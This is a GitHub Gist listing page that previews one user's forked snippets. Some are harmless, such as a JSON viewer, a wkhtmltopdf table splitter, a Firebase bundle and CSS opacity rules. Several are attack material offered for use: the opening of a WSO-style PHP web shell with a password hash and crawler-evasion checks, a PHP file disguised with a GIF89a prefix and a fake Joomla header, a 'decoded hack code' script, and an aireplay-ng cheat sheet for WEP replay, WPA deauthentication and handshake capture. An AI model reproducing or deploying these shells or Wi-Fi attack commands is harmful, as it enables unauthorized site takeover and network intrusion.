Skip to content

Instantly share code, notes, and snippets.

@tallykatt
tallykatt / json-hack.js
Created July 25, 2016 01:57 — forked from elcritch/json-hack.js
JSON viewer hack
function codify() {
$('span:contains("{")').each(function() {
var text = $(this).ignore().text();
var nodes = $(this).find("*").clone();
var res = text.replace(/(\{.+\})/, function (x) {
var s = '</span><code class="lang-json">';
s += "" + x + "";
s += '</code><br><span class="non-code">';
return '<span class="non-code">' + s + '</span>';
@tallykatt
tallykatt / hakces.php
Created July 25, 2016 01:57 — forked from duzun/hakces.php
Decoded hack code from http://pastebin.com/8asDWWrJ
<?php
/**
* Decoded hack code from http://pastebin.com/8asDWWrJ
*
*/
//###=###
error_reporting(0);
ini_set("display_errors", "0");
$_key = 'f8e7ff5a';
@tallykatt
tallykatt / wkhtmltopdf.tablesplit.js
Created July 25, 2016 01:57 — forked from niflostancu/wkhtmltopdf.tablesplit.js
WkHtmlToPdf Table Splitting Hack
/**
* WkHtmlToPdf table splitting hack.
*
* Script to automatically split multiple-pages-spanning HTML tables for PDF
* generation using webkit.
*
* To use, you must adjust pdfPage object's contents to reflect your PDF's
* page format.
* The tables you want to be automatically splitted when the page ends must
* have a class name of "splitForPrint" (can be changed).
@tallykatt
tallykatt / firebase.js
Created July 25, 2016 01:56
firebase hack
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
window.firebase = require('firebase')
},{"firebase":2}],2:[function(require,module,exports){
/**
* Firebase libraries for browser - npm package.
*
* Usage:
*
* firebase = require('firebase');
$ {'/'} = () ==> {
return
<html>
<head>
<title>Homepage</title>
</head>
<body>
<p>Welcome to my Homepage.</p>
</body>
</html>;
@tallykatt
tallykatt / opacity_hack.css
Created July 25, 2016 01:56
opacity hack
.transparent_class
{
/* IE 8 */
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
/* IE 5-7 */
filter: alpha(opacity=50);
/* Netscape */
-moz-opacity: 0.5;
/* Safari 1.x */
-khtml-opacity: 0.5;

Gradient background animation (hack)

I've found no way to animate gradient backgrounds, so this is a cheap way of doing so by animating the opacity of a div on top (in this case on top of the whole body, but you'd just set it to match dimensions of whatever object you want)

A Pen by Kiran on CodePen.

License.

<?php
$auth_pass = "eaf02c22c483aa6b6510118dd3524c2c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@tallykatt
tallykatt / hack.php
Created July 25, 2016 01:53 — forked from osrecio/hack.php
hack
GIF89a
<?php
/**
* @version $Id: index2.php 14401 2010-01-26 14:10:00Z louis $
* @package template
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* template! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
# WEP
aireplay-ng -1 0 -a <MAC> wlan0
aireplay-ng -3 -b <MAC> wlan0
# WPA
aireplay-ng -0 1 -a <MAC> -c <CLIENT_MAC> wlan0
# extract handshake from capture file:
install tshark
tshark -r <input file name> -R "eapol || wlan.fc.type_subtype == 0x08" -w <output file name>